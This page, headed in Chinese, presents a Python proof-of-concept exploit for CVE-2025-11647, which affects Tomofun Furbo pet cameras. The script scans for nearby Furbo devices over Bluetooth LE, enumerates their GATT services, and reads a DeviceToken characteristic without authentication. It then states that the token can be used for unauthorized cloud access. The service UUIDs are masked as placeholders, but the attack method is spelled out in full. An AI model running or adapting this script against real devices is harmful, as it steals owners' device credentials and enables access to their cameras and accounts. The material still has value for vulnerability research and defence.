CVE-2025-11647 Tomofun Furbo设备GATT服务信息泄露漏洞

# CVE-2025-11647 PoC - Furbo GATT Service Information Disclosure # This PoC demonstrates how to exploit the GATT service vulnerability # to extract DeviceToken information from Tomofun Furbo devices. import asyncio from bleak import BleakClient, BleakScanner # Target GATT service and characteristic UUIDs for Furbo devices # These UUIDs are commonly associated with device token storage TARGET_DEVICE_NAME = "Furbo" GATT_SERVICE_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" # Furbo GATT service DEVICE_TOKEN_CHAR_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" # DeviceToken characteristic async def scan_furbo_devices(): """Scan for nearby Furbo devices via BLE.""" print("[*] Scanning for Furbo devices...") devices = await BleakScanner.discover() furbo_devices = [d for d in devices if TARGET_DEVICE_NAME in (d.name or "")] if not furbo_devices: print("[-] No Furbo devices found in range.") return None for device in furbo_devices: print(f"[+] Found device: {device.name} ({device.address})") return furbo_devices[0] async def exploit_gatt_device_token(target_address): """Connect to the target device and attempt to read DeviceToken via GATT.""" async with BleakClient(target_address) as client: print(f"[*] Connected to {target_address}") # Enumerate GATT services for service in client.services: print(f"[Service] {service.uuid}: {service.description}") for char in service.characteristics: print(f" [Characteristic] {char.uuid}: {char.description}") print(f" Properties: {char.properties}") # Attempt to read DeviceToken characteristic # The vulnerability allows reading without proper authentication try: device_token_data = await client.read_gatt_char(DEVICE_TOKEN_CHAR_UUID) print(f"[+] DeviceToken leaked: {device_token_data.hex()}") return device_token_data except Exception as e: print(f"[-] Failed to read DeviceToken: {e}") return None async def main(): """Main exploit function.""" # Step 1: Discover target device target = await scan_furbo_devices() if not target: return # Step 2: Exploit GATT service to leak DeviceToken token = await exploit_gatt_device_token(target.address) if token: print(f"\n[!] Exploit successful!") print(f"[!] Extracted DeviceToken: {token}") print(f"[!] This token can be used for unauthorized cloud access.") if __name__ == "__main__": asyncio.run(main())